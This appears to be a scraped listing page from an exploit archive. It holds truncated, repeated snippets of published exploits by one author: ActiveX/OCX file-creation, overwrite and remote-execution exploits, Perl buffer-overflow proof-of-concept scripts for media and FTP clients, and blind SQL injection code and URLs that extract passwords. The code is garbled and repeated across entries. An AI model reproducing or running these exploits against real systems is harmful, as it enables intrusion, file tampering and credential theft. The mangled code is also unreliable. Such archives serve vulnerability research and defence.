NCTVideoStudio ActiveX DLLs 1.6 Insecure Method File Creation Exploit

No description provided by source. HTML b NCTVideoStudio ActiveX DLLs Version 1.6 Insecure Method File Creation /b b br/br/ Author : Mountassif Moad a.k.a Stack br/ br/ br/ b/ RegKey Safe for Script: Falsebr/ RegKey Safe for Init: Falsebr/ Implements IObjectSafety: Truebr/ IDisp Safe: Safe for...

Amaya Web Editor 11.0 - Remote Buffer Overflow (PoC)

!/usr/bin/perl -w Amaya Web Editor "."\n". ''."\n". "Heap"."\n". ""; my $file="St.html"; $exploit = $code.$bof.$bof2.$bof3.$coding; openmy $FILE, "$file" or die "Cannot open $file: $!"; print $FILE $exploit ; close$FILE; print "$file has been created \n"; milw0rm.com 2009-01-29...

Amaya Web Editor 11.0 - Remote Buffer Overflow (PoC)

Amaya Web Editor 11.0 - Remote Buffer Overflow PoC !/usr/bin/perl -w Amaya Web Editor "."\n". ''."\n". "Heap"."\n". ""; my $file="St.html"; $exploit = $code.$bof.$bof2.$bof3.$coding; openmy $FILE, "$file" or die "Cannot open $file: $!"; print $FILE $exploit ; close$FILE; print "$file has been...

Amaya Web Editor Overflow

!/usr/bin/perl -w Amaya Web Editor "."\n". ''."\n". "Heap"."\n". ""; my $file="St.html"; $exploit = $code.$bof.$bof2.$bof3.$coding; openmy $FILE, "$file" or die "Cannot open $file: $!"; print $FILE $exploit ; close$FILE; print "$file has been created \n";...

NCTVideoStudio ActiveX DLLs 1.6 - Insecure Method File Creation

NCTVideoStudio ActiveX DLLs Version 1.6 Insecure Method File Creation Author : Mountassif Moad a.k.a Stack RegKey Safe for Script: False RegKey Safe for Init: False Implements IObjectSafety: True IDisp Safe: Safe for untrusted: caller,data !-- Read Me :d: NCTVideoStudio is the package of ActiveX...

Word Viewer OCX 3.2 Remote File Execution exploit

No description provided by source. HTML ---------------------------------------------------------- br Word viewer OCX V 3.2 Remote File execution exploitbr ---------------------------------------------------------- br -----------------------------------br By Mountassif Moad a.k.a Stack...

Excel Viewer OCX 3.2 File Execution

---------------------------------------------------------- Excel Viewer OCX 3.2 Remote File execution exploit ---------------------------------------------------------- ----------------------------------- By Mountassif Moad a.k.a Stack ----------------------------------- Excel Viewer OCX 3.2 Remo...

dBpowerAMP Audio Player 2 .PLS File Local Buffer Overflow PoC

No description provided by source. !/usr/bin/perl dBpowerAMP Audio Player Release 2.PLS Local Buffer Overflow Exploit Down : http://www.dbpoweramp.com/bin/dBpowerAMP-r2.exe Desc : in 257 A' Basic buffer overflow in 1000 A' Stack overflow in 3000 A' Heap overflow By Mountassif Moad a.k.a Stack v4...

Excel Viewer OCX 3.2 Remote File Execution Exploit

Exploit for unknown platform in category remote exploits ================================================== Excel Viewer OCX 3.2 Remote File Execution Exploit ================================================== ---------------------------------------------------------- Excel Viewer OCX 3.2 Remote...

Excel Viewer OCX 3.2 - Remote Command Execution

---------------------------------------------------------- Excel Viewer OCX 3.2 Remote File execution exploit ---------------------------------------------------------- ----------------------------------- By Mountassif Moad a.k.a Stack ----------------------------------- Excel Viewer OCX 3.2 Remo...

Word Viewer OCX 3.2 - Remote Command Execution

Word Viewer OCX 3.2 - Remote Command Execution ---------------------------------------------------------- Word viewer OCX V 3.2 Remote File execution exploit ---------------------------------------------------------- ----------------------------------- By Mountassif Moad a.k.a Stack...

dBpowerAMP Audio Player 2 - '.pls' Local Buffer Overflow (PoC)

!/usr/bin/perl dBpowerAMP Audio Player Release 2.PLS Local Buffer Overflow Exploit Down : http://www.dbpoweramp.com/bin/dBpowerAMP-r2.exe Desc : in 257 A' Basic buffer overflow in 1000 A' Stack overflow in 3000 A' Heap overflow By Mountassif Moad a.k.a Stack v4 Team & evil finger use strict; use...

PowerPoint Viewer File Overwrite

---------------------------------------------------------- PowerPoint Viewer OCX v3.1 ---------------------------------------------------------- ----------------------------------- By Mountassif Moad a.k.a Stack ----------------------------------- PowerPoint Viewer OCX v3.1 function Doit File =...

PowerPoint Viewer OCX 3.1 Remote File Overwrite Exploit

Exploit for unknown platform in category dos / poc ======================================================= PowerPoint Viewer OCX 3.1 Remote File Overwrite Exploit ======================================================= ---------------------------------------------------------- PowerPoint Viewer O...

Word Viewer OCX 3.2 Remote File Execution exploit

Exploit for unknown platform in category remote exploits ================================================= Word Viewer OCX 3.2 Remote File Execution exploit ================================================= ---------------------------------------------------------- Word viewer OCX V 3.2 Remote Fi...

PowerPoint Viewer OCX 3.1 - Remote File Overwrite

PowerPoint Viewer OCX 3.1 - Remote File Overwrite ---------------------------------------------------------- PowerPoint Viewer OCX v3.1 ---------------------------------------------------------- ----------------------------------- By Mountassif Moad a.k.a Stack -----------------------------------...

Audacity 1.6.2 (.aup File) Remote off by one Crash Exploit

Exploit for unknown platform in category dos / poc ========================================================== Audacity 1.6.2 .aup File Remote off by one Crash Exploit ========================================================== usage: exploit.py print "" print " Audacity 1.6.2 .aup file Remote off ...

BulletProof FTP Client (.bps File) Local Stack Overflow PoC

No description provided by source. !/usr/bin/perl Bug : BulletProof FTP Client .bps Local Stack Overflow PoC Founded by : Mountassif Moad Greetz : All Freind Str0ke HOw to use = go to file after Load BP session & Enter and boom :d overflowing :d use warnings; use strict; my $chars = "This is a...

star-blindsql.txt

1 $url = $argv1; if $argc 3 $userid = 1; else $userid = $argv2; $r = strlenfilegetcontents$url."+and+1=1"; echo "\nExploiting:\n"; $w = strlenfilegetcontents$url."+and+1=0"; $t = abs100-$w/$r100; echo "\nPassword: "; for $j = 1; $j = 32; $j++ for $i = 46; $i = 102; $i=$i+2 if $i == 60 $i = 98;...

Active Bids 3.5 - itemID Blind SQL Injection

Active Bids 3.5 - itemID Blind SQL Injection Tybe : Remote Blind SQL Injection Vulnerability Vendor : www.activewebsoftwares.com Software : Active Bids author : Mountassif Moad http://site.il/activebids/bidhistory.asp?ItemID=354%20and%201=1...